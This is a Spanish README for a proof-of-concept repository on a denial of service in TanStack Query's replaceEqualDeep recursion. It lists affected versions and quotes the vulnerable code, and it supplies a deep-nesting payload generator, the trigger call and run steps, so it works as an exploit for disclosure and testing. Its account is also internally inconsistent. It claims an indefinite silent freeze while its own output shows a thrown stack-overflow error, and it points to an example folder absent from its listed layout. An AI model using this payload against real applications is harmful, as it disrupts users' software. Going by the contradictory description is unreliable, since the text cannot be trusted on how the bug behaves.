CVE-2026-26903 PoC

Denegación de servicio mediante recursión ilimitada en la función replaceEqualDeep de TanStack Query

Una única actualización de consulta manipulada con objetos profundamente anidados puede congelar el hilo de JavaScript indefinidamente, provocando que la aplicación quede completamente sin respuesta. No se requiere autenticación ni permisos especiales.

Versiones afectadas

Esta vulnerabilidad se corrigió en @tanstack/[email protected] mediante el PR #10032, publicado el 14 de enero de 2026.

Paquete	Versión afectada	Versión corregida
@tanstack/query-core	<= 5.90.16	5.90.17
@tanstack/react-query	depende de query-core vulnerable	5.90.18+
@tanstack/vue-query	depende de query-core vulnerable	5.90.18+
@tanstack/solid-query	depende de query-core vulnerable	5.90.18+
@tanstack/svelte-query	depende de query-core vulnerable	6.1.7+

Descripción oficial

CVE-2026-26903: Denegación de servicio mediante recursión ilimitada en replaceEqualDeep (Gravedad: Media)

La función replaceEqualDeep de TanStack Query realiza una comparación recursiva de objetos anidados sin límites de profundidad. Al procesar estructuras de datos profundamente anidadas, esto puede desencadenar una recursión ilimitada que provoca desbordamiento de pila y congelación de la aplicación.

— Asignado a través de MITRE

Resumen de la vulnerabilidad

La función replaceEqualDeep de TanStack Query se utiliza internamente para determinar si los datos de una consulta han cambiado realmente, optimizando los re-renderizados al conservar las referencias a objetos cuando es posible. La función recorre recursivamente las propiedades de los objetos para realizar una comparación de igualdad profunda.

El problema

La implementación recursiva carece de límites de profundidad o detección de ciclos:

function replaceEqualDeep(a, b) {
  // ... comprobaciones de tipo ...
  
  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];
    // ... comprobaciones de igualdad superficial ...
    
    // VULNERABLE: Recursión ilimitada aquí
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;
    // ...
  }
  return copy;
}

Mecanismo de ataque

1. Disparador: Cualquier actualización de consulta que pase por replaceEqualDeep con datos profundamente anidados
2. Payload: Objetos anidados a más de 5.000 niveles de profundidad
3. Impacto: Congelación inmediata del hilo de JavaScript, interfaz completamente sin respuesta
4. Persistencia: La aplicación permanece congelada hasta que se recarga la página

Superficie de ataque

• Directa: Hooks useQuery con datos de respuesta anidados
• Indirecta: setQueryData, invalidateQueries o cualquier operación de caché de consultas
• Lado del cliente: No se necesita intervención del servidor — DoS puramente del lado del cliente

Estructura del repositorio

CVE-2026-26903-PoC/
├── README.md                 # Este archivo
├── LICENSE
├── poc.js                    # PoC de Node.js (caída por desbordamiento de pila)
└── tanstack-query-poc.html   # PoC de navegador (demo visual interactiva)

Pasos de reproducción

1. Clonar y configurar

git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC

2. Ejecutar el PoC de Node.js (caída por desbordamiento de pila)

node poc.js

3. Salida esperada

Testing replaceEqualDeep with deep nesting...
 
Depth: 100
  OK - 0ms
 
Depth: 1000
  OK - 1ms
 
Depth: 5000
  CRASH - Maximum call stack size exceeded
 
Depth: 10000
  CRASH - Maximum call stack size exceeded

4. Ejecutar el PoC de navegador (demo visual interactiva)

open tanstack-query-poc.html

1. Verifica que la aplicación responde:
   • Haz clic en el botón del contador
   • Escribe en el campo de entrada
   • Observa el temporizador en tiempo real contando
2. Dispara el DoS:
   • Haz clic en "TRIGGER DoS (10000 depth) - App Will Freeze"
   • Resultado: El temporizador se detiene, los botones dejan de responder y la página se congela

Pruebas detalladas

Opción A: Demo HTML independiente (sin dependencias)

git clone https://github.com/[your-username]/CVE-2026-26903-PoC.git
cd CVE-2026-26903-PoC
open tanstack-query-poc.html

Opción B: Aplicación React (escenario realista)

cd examples/react-app-poc
npm install
npm start
# Navega a http://localhost:3000 y sigue las instrucciones en pantalla

Comportamiento esperado

Antes del ataque:

• El botón del contador incrementa
• El temporizador en tiempo real se actualiza cada segundo
• El campo de entrada responde a la escritura
• Todas las interacciones de la interfaz funcionan con normalidad

Después del ataque:

• El temporizador se congela en el valor actual
• El botón del contador deja de responder
• El campo de entrada deja de responder
• La consola no muestra errores (el hilo está bloqueado, no ha fallado)
• Única solución: Recargar la pestaña/ventana del navegador

Cómo funciona el exploit

El PoC genera objetos profundamente anidados y hace que replaceEqualDeep los procese:

1. Generación del payload

function generateDeep(depth) {
  let obj = { value: 'end' };
  for (let i = 0; i < depth; i++) {
    obj = { nested: obj };
  }
  return obj;
}

// Crea: { nested: { nested: { nested: ... { value: 'end' } } } }

2. Disparo del ataque

const oldData = generateDeep(10000);  // 10.000 niveles de profundidad
const newData = generateDeep(10000);  // Objeto diferente, misma estructura

// Esto provoca recursión ilimitada:
replaceEqualDeep(oldData, newData);

3. Cadena de recursión

replaceEqualDeep(obj1, obj2)
├── replaceEqualDeep(obj1.nested, obj2.nested)     // Nivel 1
    ├── replaceEqualDeep(obj1.nested.nested, ...)  // Nivel 2
        ├── replaceEqualDeep(...)                   // Nivel 3
            └── ... (continúa durante 10.000 niveles)

Cada llamada recursiva añade un nuevo marco de pila hasta que la pila de llamadas del motor de JavaScript se agota, congelando el hilo.

Código vulnerable

Ubicación: @tanstack/query-core/src/utils.ts (aproximada)

export function replaceEqualDeep(a, b) {
  if (a === b) {
    return a;
  }

  const array = isPlainArray(a) && isPlainArray(b);

  if (!array && !(isPlainObject(a) && isPlainObject(b))) {
    return b;
  }

  const aItems = array ? a : Object.keys(a);
  const aSize = aItems.length;
  const bItems = array ? b : Object.keys(b);
  const bSize = bItems.length;
  const copy = array ? new Array(bSize) : {};

  let equalItems = 0;

  for (let i = 0; i < bSize; i++) {
    const key = array ? i : bItems[i];

    if (a[key] === b[key]) {
      copy[key] = a[key];
      equalItems++;
      continue;
    }

    if (
      a[key] === null ||
      b[key] === null ||
      typeof a[key] !== 'object' ||
      typeof b[key] !== 'object'
    ) {
      copy[key] = b[key];
      continue;
    }

    // VULNERABLE: Sin límite de profundidad ni detección de ciclos
    const v = replaceEqualDeep(a[key], b[key]);
    copy[key] = v;

    if (v === a[key]) {
      equalItems++;
    }
  }

  return aSize === bSize && equalItems === aSize ? a : copy;
}